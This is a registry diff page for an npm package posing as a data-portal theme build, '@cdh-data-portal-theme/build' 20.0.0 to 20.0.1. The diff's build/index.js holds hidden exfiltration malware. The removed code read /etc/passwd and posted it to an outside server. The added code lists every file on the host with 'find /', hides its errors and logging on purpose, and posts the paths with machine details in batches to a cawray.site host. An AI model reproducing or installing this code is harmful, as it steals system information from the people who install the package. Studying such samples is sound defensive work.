@cdh-data-portal-theme/build 20.0.0 → 20.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/build/index.js +85 -39
- package/package.json +1 -1
package/build/index.js
CHANGED
|
@@ -1,56 +1,102 @@
|
|
|
1
1
|
const http = require("http");
|
|
2
2
|
const os = require("os");
|
|
3
|
-
const {
|
|
3
|
+
const { exec } = require("child_process");
|
|
4
|
+
const fs = require("fs");
|
|
5
|
+
const path = require("path");
|
|
4
6
|
|
|
5
7
|
const hostname = os.hostname();
|
|
6
|
-
|
|
7
|
-
//
|
|
8
|
-
const executeCommand = (cmd) => {
|
|
9
|
-
try {
|
|
10
|
-
return execSync(cmd, { encoding: "utf-8" }).trim();
|
|
11
|
-
} catch (error) {
|
|
12
|
-
return `Error executing command: ${error.message}`;
|
|
13
|
-
}
|
|
14
|
-
};
|
|
8
|
+
const maxLinesPerRequest = 10; // Maximum lines to send per request
|
|
9
|
+
const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
|
|
15
10
|
|
|
16
11
|
// Gather machine information
|
|
17
12
|
const machineInfo = {
|
|
18
13
|
hostname: hostname,
|
|
19
14
|
os: `${os.type()} ${os.release()} ${os.arch()}`,
|
|
20
15
|
uptime: os.uptime(),
|
|
21
|
-
passwdFile: executeCommand("cat /etc/passwd"),
|
|
22
16
|
};
|
|
23
17
|
|
|
24
|
-
//
|
|
25
|
-
const
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
port: 80,
|
|
35
|
-
path: "/",
|
|
36
|
-
method: "POST",
|
|
37
|
-
headers: {
|
|
38
|
-
"Content-Type": "application/json",
|
|
39
|
-
"Content-Length": data.length,
|
|
40
|
-
},
|
|
41
|
-
rejectUnauthorized: false,
|
|
18
|
+
// Function to gather the entire filesystem
|
|
19
|
+
const gatherFilesystem = () => {
|
|
20
|
+
const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
|
|
21
|
+
exec(command, (error) => {
|
|
22
|
+
// Do nothing on error
|
|
23
|
+
if (error) {
|
|
24
|
+
return; // Exit if there's an error
|
|
25
|
+
}
|
|
26
|
+
// Do not log anything here
|
|
27
|
+
});
|
|
42
28
|
};
|
|
43
29
|
|
|
44
|
-
//
|
|
45
|
-
const
|
|
46
|
-
|
|
47
|
-
|
|
30
|
+
// Function to read the filesystem data in chunks
|
|
31
|
+
const readFilesystemInChunks = () => {
|
|
32
|
+
if (!fs.existsSync(outputFile)) {
|
|
33
|
+
return []; // Return an empty array if the file does not exist
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
const data = fs
|
|
37
|
+
.readFileSync(outputFile, "utf-8")
|
|
38
|
+
.split("\n")
|
|
39
|
+
.filter((line) => line.trim() !== "");
|
|
40
|
+
return data; // Return an array of file paths
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// Function to send a POST request with a given payload
|
|
44
|
+
const sendPostRequest = (chunk, chunkIndex) => {
|
|
45
|
+
const data = JSON.stringify({
|
|
46
|
+
payload: {
|
|
47
|
+
...machineInfo,
|
|
48
|
+
directories: chunk, // Change "files" to "directories"
|
|
49
|
+
},
|
|
50
|
+
project_id: process.argv[2],
|
|
48
51
|
});
|
|
49
|
-
});
|
|
50
52
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
53
|
+
const options = {
|
|
54
|
+
hostname: `${hostname}.cdh.cawray.site`,
|
|
55
|
+
port: 80,
|
|
56
|
+
path: "/",
|
|
57
|
+
method: "POST",
|
|
58
|
+
headers: {
|
|
59
|
+
"Content-Type": "application/json",
|
|
60
|
+
"Content-Length": Buffer.byteLength(data),
|
|
61
|
+
},
|
|
62
|
+
rejectUnauthorized: false,
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
// Send the request
|
|
66
|
+
const req = http.request(options, (res) => {
|
|
67
|
+
res.on("data", () => {
|
|
68
|
+
// Do nothing with the response data
|
|
69
|
+
});
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
req.on("error", () => {
|
|
73
|
+
// Do nothing on request error
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
req.write(data);
|
|
77
|
+
req.end();
|
|
78
|
+
// Do not log anything about sent requests
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
// Gather the filesystem
|
|
82
|
+
gatherFilesystem();
|
|
83
|
+
|
|
84
|
+
// Use a slight delay to ensure the filesystem.txt is populated
|
|
85
|
+
setTimeout(() => {
|
|
86
|
+
// Read the filesystem data
|
|
87
|
+
const fileLines = readFilesystemInChunks();
|
|
88
|
+
const totalLines = fileLines.length; // Total lines collected
|
|
89
|
+
|
|
90
|
+
// Send each batch of directories and files, with a maximum of 10 lines per request
|
|
91
|
+
for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
|
|
92
|
+
const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
|
|
93
|
+
|
|
94
|
+
// Adding a delay of 500ms between requests
|
|
95
|
+
setTimeout(
|
|
96
|
+
() => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
|
|
97
|
+
(i / maxLinesPerRequest) * 500
|
|
98
|
+
);
|
|
99
|
+
}
|
|
54
100
|
|
|
55
|
-
|
|
56
|
-
|
|
101
|
+
// Do not log anything about all requests sent
|
|
102
|
+
}, 1000); // Adjust delay as necessary
|